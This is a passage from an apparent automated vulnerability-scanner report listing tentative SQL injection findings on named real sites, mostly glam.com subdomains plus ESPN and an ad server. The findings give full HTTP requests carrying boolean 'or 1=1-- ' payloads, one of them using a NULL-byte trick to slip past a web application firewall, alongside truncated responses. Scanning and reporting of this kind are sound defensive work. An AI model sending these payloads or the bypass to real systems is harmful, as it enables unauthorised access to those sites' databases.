class='cufonClass'><a href='http://hair.glam.com/' title='Hair' onmouseover='showSubMenu(10)' onmouseout='hideSubMenu();'>Hair</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://makeup.glam.com/' title='Makeup' onmouseover='showSubMenu(11)' onmouseout='hideSubMenu();'>Makeup</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://skinbody.glam.com/' title='Skin &amp; Body' onmouseover=
...[SNIP]...

Request 2

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=118548129%20or%201%3d2--%20 HTTP/1.1
Host: beauty.glam.com
Proxy-Connection: keep-alive
Referer: http://beauty.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Thu, 21 Apr 2011 01:36:46 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 2312
X-Varnish: 303280937
Expires: Thu, 21 Apr 2011 01:36:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:36:46 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'></ul></div> "; document.write(string);var string ="<div onmouseover='showme();' onmouseout='hideme();' class='SubNav'><div id='submenu_active' ><ul style='width:550px' class='topsubnav' id='glam-menus-plus'><li class=''><a href='http://hair.glam.com/' title='Hair'>Hair</a></li><li class=''><a href='http://makeup.glam.com/' title='Makeup'>Makeup</a></li><li class=''><a href='http://skinbody.glam.com/' title='Skin &amp; Body'>Skin &amp; Body</a></li></ul></div><style type='text/css'>._glam_search_button {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px 0; width: 55px; height: 20px;list-style:none} ._glam_search_twitter {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px -300px; width: 20px; height: 20px;} ._glam_search_facebook {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -495px; width: 20px; height: 20px;} ._glam_search_rss {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -1935px; width: 20px; height: 20px;}</style> <div class='SocialContainer'id='menusearch'><div class='SearchBox'><form role='search' name='searchform' method='get' id='searchform' action='http://www.glam.com' ><div class='search_controls'><input type='text' style='height:15px;' value='' name='search' id='search' /></div><div style='float:left;margin-top:3px;'><span onclick='javascript:document.searchform.submit();' style='cursor:pointer'><div class='_glam_search_button'></div></span></div></div> <ul class='social'> <a href='http://twitter.com/onglamfashion' target='_blank'><div class='_glam_search_twitter'></div></a> <a href='http://www.facebook.com/pages/Glamcom/144180538945796?ref=ts' target='_blank'><div class='_glam_search_facebook'></div></a>
...[SNIP]...

1.6. http://blacklife.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://blacklife.glam.com
Path:   /wp-content/plugins/menus-plus/javascriptmenu.php

Issue detail

The menu parameter appears to be vulnerable to SQL injection attacks. The payloads 83827907%20or%201%3d1--%20 and 83827907%20or%201%3d2--%20 were each submitted in the menu parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=183827907%20or%201%3d1--%20 HTTP/1.1
Host: blacklife.glam.com
Proxy-Connection: keep-alive
Referer: http://blacklife.glam.com/2011/04/20/found-it-beyonces-silk-floral-frock-and-snakeskin-shoes/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Wed, 20 Apr 2011 18:35:30 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 20966
X-Varnish: 303278592
Expires: Thu, 21 Apr 2011 01:35:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:35:32 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://fashion.glam.com/' title='Fashion' onmouseover='showSubMenu(4)' onmouseout='hideSubMenu();'>Fashion</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://trends.glam.com/' title='Trends' onmouseover='showSubMenu(5)' onmouseout='hideSubMenu();'>Trends</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://runway.glam.com/' title='Runway' onmouseover='showSubMenu(6)' onmouseout='hideSubMenu();'>Runway</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://designers.glam.com/' title='Designers' onmouseover='showSubMenu(7)' onmouseout='hideSubMenu();'>Designers</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://shopping.glam.com/' title='Shopping' onmouseover='showSubMenu(8)' onmouseout='hideSubMenu();'>Shopping</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://beauty.glam.com/' title='Beauty' onmouseover='showSubMenu(9)' onmouseout='hideSubMenu();'>Beauty</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://hair.glam.com/' title='Hair' onmouseover='showSubMenu(10)' onmouseout='hideSubMenu();'>Hair</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://makeup.glam.com/' title='Makeup' onmouseover='showSubMenu(11)' onmouseout='hideSubMenu();'>Makeup</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://skinbody.glam.com/' title='Skin &amp; Body' onmouseover='showSubMenu(12)' onm
...[SNIP]...

Request 2

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=183827907%20or%201%3d2--%20 HTTP/1.1
Host: blacklife.glam.com
Proxy-Connection: keep-alive
Referer: http://blacklife.glam.com/2011/04/20/found-it-beyonces-silk-floral-frock-and-snakeskin-shoes/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Thu, 21 Apr 2011 01:35:34 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 2383
X-Varnish: 303278692
Expires: Thu, 21 Apr 2011 01:35:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:35:34 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'></ul></div> "; document.write(string);var string ="<div onmouseover='showme();' onmouseout='hideme();' class='SubNav'><div id='submenu_active' ><ul style='width:550px' class='topsubnav' id='glam-menus-plus'><li class=''><a href='http://face.glam.com/' title='Face &amp; Style'>Face &amp; Style</a></li><li class=''><a href='http://scoop.glam.com/' title='Scoop &amp; Celebrity'>Scoop &amp; Celebrity</a></li><li class=''><a href='http://culture.glam.com/' title='Culture &amp; Lifestyle'>Culture &amp; Lifestyle</a></li></ul></div><style type='text/css'>._glam_search_button {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px 0; width: 55px; height: 20px;list-style:none} ._glam_search_twitter {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px -300px; width: 20px; height: 20px;} ._glam_search_facebook {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -495px; width: 20px; height: 20px;} ._glam_search_rss {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -1935px; width: 20px; height: 20px;}</style> <div class='SocialContainer'id='menusearch'><div class='SearchBox'><form role='search' name='searchform' method='get' id='searchform' action='http://www.glam.com' ><div class='search_controls'><input type='text' style='height:15px;' value='' name='search' id='search' /></div><div style='float:left;margin-top:3px;'><span onclick='javascript:document.searchform.submit();' style='cursor:pointer'><div class='_glam_search_button'></div></span></div></div> <ul class='social'> <a href='http://twitter.com/onglamfashion' target='_blank'><div class='_glam_search_twitter'></div></a> <a href='http://www.facebook.com/pages/Glamcom/144180538945796?ref=ts' target='_bl
...[SNIP]...

1.7. http://brsseavideo-ak.espn.go.com/motion/ [userAB cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://brsseavideo-ak.espn.go.com
Path:   /motion/

Issue detail

The userAB cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the userAB cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /motion/ HTTP/1.1
Host: brsseavideo-ak.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F%00'; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response 1

HTTP/1.1 403 Forbidden
Server: Apache
Content-Length: 328
X-Cnection: close
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 23:12:06 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /motion/
on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /motion/ HTTP/1.1
Host: brsseavideo-ak.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F%00''; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response 2

HTTP/1.1 403 Forbidden
Server: Apache
Accept-Ranges: bytes
Content-Length: 0
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 23:12:06 GMT
Connection: close


1.8. http://celebrities.glam.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://celebrities.glam.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 48738779%20or%201%3d1--%20 and 48738779%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /?148738779%20or%201%3d1--%20=1 HTTP/1.1
Host: celebrities.glam.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.glam.com/xmlrpc.php
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
backend-server: app135
Content-Length: 70511
X-Varnish: 303280709
Expires: Thu, 21 Apr 2011 01:36:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:36:38 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script type="text/javascript" src="http://glamnewlive.disqus.com/remote_auth.js?remote_auth_s2=W10%3D+7e66936e3f1c62370e64a85712b4dc4074daf5eb+1303349796"></script> <!-- Netica Monitoring --><!-- DBOK -->
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">_uacct = "UA-2024191-1"; _udn="glam.com"; try { urchinTracker(); } catch(err){} </script>
<!-- Start Quantcast tag -->
<script type="text/javascript"> _qoptions={ qacct:"p-874AVp33Bbtkg" };</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>

<!-- End Quantcast tag -->
</head>
<body class="archive category category-celebrities" id="bodyID"><!-- Container START -->
   <noscript><img src="http://pixel.quantserve.com/pixel/p-874AVp33Bbtkg.gif" class="hide" border="0" height="1" width="1" alt="Quantcast"/></noscript>
<div align="center" class="Container"><!-- Page START -->
<div class="topCorner"></div>
<div class="Box">
<table width="100%" cellpadding="0" cellspacing="0" border="0" class="Page">
<tr><td><div class="HorizantalSpacer"></div>
<div class="Header">
<a href="http://www.glam.com" class="Logo sprite_v1-glamcom_206_36"></a>
<div class="LoginLinks" align="right">
                                       <script type="text/javascript" language="javascript"> function setCookieforLogin(c_name,value,expiredays){ if(expiredays){ var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires=exdate.toGMTString(); } else var expires=""; document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+expires)+";domain=.glam.com"; }
                                       function logoutFunction(redirectURL){ setCookieforLogin('logedIncheck','',-1); location.href=redirectURL; }if(!getCookie('logedIncheck')){ document.write('<div onclick="toggleSignIn(\'head\');" id="signInArrowImg"><div id="signInArrowUp">&nbsp;</div><div id="signInArrowDown">&nbs
...[SNIP]...

Request 2

GET /?148738779%20or%201%3d2--%20=1 HTTP/1.1
Host: celebrities.glam.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 2 (redirected)

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
X-Pingback: http://www.glam.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
backend-server: app136
Content-Length: 70635
X-Varnish: 1132209538
Expires: Thu, 21 Apr 2011 01:37:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:37:01 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script type="text/javascript" src="http://glamnewlive.disqus.com/remote_auth.js?remote_auth_s2=W10%3D+563e00d34ef8bfca8a6749983704aa539637e967+1303349805"></script> <!-- Netica Monitoring --><!-- DBOK -->
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">_uacct = "UA-2024191-1"; _udn="glam.com"; try { urchinTracker(); } catch(err){} </script>
<!-- Start Quantcast tag -->
<script type="text/javascript"> _qoptions={ qacct:"p-874AVp33Bbtkg" };</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>

<!-- End Quantcast tag -->
</head>
<body class="archive category category-celebrities" id="bodyID"><!-- Container START -->
   <noscript><img src="http://pixel.quantserve.com/pixel/p-874AVp33Bbtkg.gif" class="hide" border="0" height="1" width="1" alt="Quantcast"/></noscript>
<div align="center" class="Container"><!-- Page START -->
<div class="topCorner"></div>
<div class="Box">
<table width="100%" cellpadding="0" cellspacing="0" border="0" class="Page">
<tr><td><div class="HorizantalSpacer"></div>
<div class="Header">
<a href="http://www.glam.com" class="Logo sprite_v1-glamcom_206_36"></a>
<div class="LoginLinks" align="right">
                                       <script type="text/javascript" language="javascript"> function setCookieforLogin(c_name,value,expiredays){ if(expiredays){ var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires=exdate.toGMTString(); } else var expires=""; document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+expires)+";domain=.glam.com"; }
                                       function logoutFunction(redirectURL){ setCookieforLogin('logedIncheck','',-1); location.href=redirectURL; }if(!getCookie('logedIncheck')){ document.write('<div onclick="toggleSignIn(\'head\');" id="signInArrowImg"><div id="signInArrowUp">&nbsp;</div><div id="signInArrowDown">&nbs
...[SNIP]...

1.9. http://celebrities.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://celebrities.glam.com
Path:   /wp-content/plugins/menus-plus/javascriptmenu.php

Issue detail

The menu parameter appears to be vulnerable to SQL injection attacks. The payloads 68855159%20or%201%3d1--%20 and 68855159%20or%201%3d2--%20 were each submitted in the menu parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=168855159%20or%201%3d1--%20 HTTP/1.1
Host: celebrities.glam.com
Proxy-Connection: keep-alive
Referer: http://celebrities.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Wed, 20 Apr 2011 18:35:41 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app136
Content-Length: 20918
X-Varnish: 1132209529
Expires: Thu, 21 Apr 2011 01:35:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:35:44 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://fashion.glam.com/' title='Fashion' onmouseover='showSubMenu(4)' onmouseout='hideSubMenu();'>Fashion</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://trends.glam.com/' title='Trends' onmouseover='showSubMenu(5)' onmouseout='hideSubMenu();'>Trends</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://runway.glam.com/' title='Runway' onmouseover='showSubMenu(6)' onmouseout='hideSubMenu();'>Runway</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://designers.glam.com/' title='Designers' onmouseover='showSubMenu(7)' onmouseout='hideSubMenu();'>Designers</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://shopping.glam.com/' title='Shopping' onmouseover='showSubMenu(8)' onmouseout='hideSubMenu();'>Shopping</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://beauty.glam.com/' title='Beauty' onmouseover='showSubMenu(9)' onmouseout='hideSubMenu();'>Beauty</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://hair.glam.com/' title='Hair' onmouseover='showSubMenu(10)' onmouseout='hideSubMenu();'>Hair</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://makeup.glam.com/' title='Makeup' onmouseover='showSubMenu(11)' onmouseout='hideSubMenu();'>Makeup</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://skinbody.glam.com/' title='Skin &amp; Body' onmouseover='showSubMenu(12)' onm
...[SNIP]...

Request 2

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=168855159%20or%201%3d2--%20 HTTP/1.1
Host: celebrities.glam.com
Proxy-Connection: keep-alive
Referer: http://celebrities.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Thu, 21 Apr 2011 01:35:46 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 2293
X-Varnish: 303279105
Expires: Thu, 21 Apr 2011 01:35:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:35:46 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'></ul></div> "; document.write(string);var string ="<div onmouseover='showme();' onmouseout='hideme();' class='SubNav'><div id='submenu_active' ><ul style='width:550px' class='topsubnav' id='glam-menus-plus'><li class=''><a href='http://news.glam.com/' title='News'>News</a></li><li class=''><a href='http://style.glam.com/' title='Style'>Style</a></li><li class=''><a href='http://alist.glam.com/' title='A-List'>A-List</a></li></ul></div><style type='text/css'>._glam_search_button {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px 0; width: 55px; height: 20px;list-style:none} ._glam_search_twitter {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px -300px; width: 20px; height: 20px;} ._glam_search_facebook {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -495px; width: 20px; height: 20px;} ._glam_search_rss {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -1935px; width: 20px; height: 20px;}</style> <div class='SocialContainer'id='menusearch'><div class='SearchBox'><form role='search' name='searchform' method='get' id='searchform' action='http://www.glam.com' ><div class='search_controls'><input type='text' style='height:15px;' value='' name='search' id='search' /></div><div style='float:left;margin-top:3px;'><span onclick='javascript:document.searchform.submit();' style='cursor:pointer'><div class='_glam_search_button'></div></span></div></div> <ul class='social'> <a href='http://twitter.com/onglamfashion' target='_blank'><div class='_glam_search_twitter'></div></a> <a href='http://www.facebook.com/pages/Glamcom/144180538945796?ref=ts' target='_blank'><div class='_glam_search_facebook'></div></a> <a href='http://celebr
...[SNIP]...

1.10. http://core.insightexpressai.com/adServer/GetInvite2.aspx [adexpansion parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The adexpansion parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the adexpansion parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

